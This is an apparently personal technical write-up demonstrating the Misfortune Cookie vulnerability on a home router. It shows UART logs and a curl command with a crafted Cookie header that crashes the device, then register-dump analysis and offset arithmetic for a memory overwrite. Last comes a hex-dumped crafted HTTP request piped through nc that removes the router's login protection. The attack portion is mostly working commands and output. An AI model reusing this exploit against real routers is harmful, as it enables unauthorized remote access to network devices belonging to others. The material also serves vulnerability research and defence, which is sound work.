Testlab 32
largeD flag=2 (0:maxD=64, 1:maxD=128, 2:maxD=511)
portreverse : on

input line: sysdisa
Erasing 4K Sector...

Erasing 4K Sector...

writeRomBlock(): Erase OK!
ble PM!
Dyingasp OFF!
dhcp address probe action is disabled
Valid Loss of power OFF!
run distributePvcFakeMac!
set try multimode number to 3 (dropmode try num 3)
Syncookie switch On!
run distributePvcFakeMac!
run distributePvcFakeMac!
run d
Erasing 4K Sector...

Erasing 4K Sector...

writeRomBlock(): Erase OK!
istributePvcFakeMac!
run distributePvcFakeMac!
run distributePvcFakeMac!
run distributePvcFakeMac!
run distributePvcFakeMac!
run distributePvcFakeMac!
Press ENTER to continue...

Erasing 4K Sector...

Erasing 4K Sector...

writeRomBlock(): Erase OK!


Well, simply issue a cookie to the router now, and it should "kernel panic" immediately.


cawan$ curl --header 'Cookie: C9=9' 192.168.1.1

At UART port, we can see this immediately, :)


TLB refill exception occured!
EPC= 0x00000000
SR= 0x10000003
CR= 0x50805808
$RA= 0x80020000
Bad Virtual Address = 0x00000000
UTLB_TLBL ..\core\sys_isr.c:267 sysreset()


        $r0= 0x00000000 $at= 0x80350000 $v0= 0x00000000 $v1= 0x00000001
        $a0= 0x00000001 $a1= 0x805D7AF8 $a2= 0xFFFFFFFF $a3= 0x00000000
        $t0= 0x8001FF80 $t1= 0xFFFFFFFE $t2= 0x804A8F38 $t3= 0x804A9E47
        $t4= 0x804A9460 $t5= 0x804A8A60 $t6= 0x804A9D00 $t7= 0x00000040
        $s0= 0x804A8A60 $s1= 0x8040C114 $s2= 0x805E2BC8 $s3= 0x80042A70
        $s4= 0x00000001 $s5= 0x8000007C $s6= 0x8040E5FC $s7= 0x8040F8AC
        $t8= 0x804A9E48 $t9= 0x00000000 $k0= 0x00000000 $k1= 0x8000007C
        $gp= 0x8040F004 $sp= 0x805E2B60 $fp= 0x805E2BC8 $ra= 0x8003A3D0


          00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F

805e2bc8: 80 5e 2b f8 80 04 2a 70 80 4e fe 1e 80 4e fe 20     .^+...*p.N...N.
805e2bd8: 80 4e fe 21 00 00 00 09 80 40 f8 ac 80 48 4e 29     .N.!.....@...HN)
805e2be8: 80 55 54 4c 42 5f 54 4c 42 4c 00 21 80 1f 2e 88     .UTLB_TLBL.!....
805e2bf8: 80 5e 2c 18 80 10 e5 ec 80 42 64 dc 80 4e fe 1d     .^,......Bd..N..
805e2c08: 80 40 f8 ac 00 00 00 00 80 40 e6 0c 80 10 dc c0     .@.......@......
805e2c18: 80 5e 2c 30 80 10 d7 38 80 40 f8 ac 00 00 00 00     .^,0...8.@......
...
...


Fine, the EPC is 0x00000000, as what we want it to be. Besides, the value of $s7
is 0x8040F8AC, which is the value of $s4 too, that we are looking for it.

Now, we know the value of $s4 is 0x8040F8AC, then the value of $t5 is 0x804163D4,
which is the base address of the calculation for destination address of write
operation. Since we need to overwrite 0x8034FF94 now, so

0x8034FF94 - 0x804163D4 = 0xFFF39BC0     # do this in dword
0xFFF39BC0 % 0x28 = 0                   # do this in qword
0xFFF39BC0 / 0x28 = 0x06661718           # do this in qword
0x06661718 = 107353880 (in decimal)

Because the address 0x8034FF94 is exactly at the first byte of 0x28 bytes aligned chunk,
then we can only overwrite the single byte with a null character (0x00). However, if we
send the specially-crafted packet to the router by using curl, it is inappropriate
because curl will padding the header with 0x0d0a0d0a. Instead, it is better to send
the specially-crafted packet with nc. By defining a specially-craft packet properly
in a file, we can just pipe it into nc and send it over the router to "unlock" the
router remotely. Let's do it now.

cawan$ cat ./cawan_header | xxd
0000000: 4745 5420 2f20 4854 5450 2f31 2e31 0a55  GET / HTTP/1.1.U
0000010: 7365 722d 4167 656e 743a 2063 7572 6c2f  ser-Agent: curl/
0000020: 372e 3333 2e30 0a48 6f73 743a 2031 3932  7.33.0.Host: 192
0000030: 2e31 3638 2e31 2e31 0a41 6363 6570 743a  .168.1.1.Accept:
0000040: 202a 2f2a 0a43 6f6f 6b69 653a 2043 3130   */*.Cookie: C10
0000050: 3733 3533 3838 303d 000a                 7353880=..



cawan$ curl 192.168.1.1 <html> <head> <title>Protected Object</title></head><body> <h1> Protected Object</h1> Username or Password error</body></html> cawan$
cawan$ cat cawan_header | nc 192.168.1.1 80
cawan$


cawan$ curl 192.168.1.1 <html> <head> <title> </title> </head><frameset border="0" frameborder="0" framespacing="0" rows="65,75,*"> <frame marginheight="0" marginwidth="0" name="header" noresize="" src="status.html"></frame> <frame marginheight="0" marginwidth="0" name="navigation" noresize="" src="navigation-status.html"></frame> <frame marginheight="0" marginwidth="0" name="main" noresize="" src="../status/status_deviceinfo.htm"></frame> </frameset><noframes> </noframes> </html> cawan$

Cool, we are done, and it seems the misfortune cookie vulnerability is really interesting.


References:

[1] http://piotrbania.com/all/articles/tplink_patch/

[2] http://mis.fortunecook.ie/too-many-cooks-exploiting-tr069_tal-oppenheim_31c3.pdf


PDF Version:-
https://www.scribd.com/doc/256266998/Misfortune-Cookie-Demystified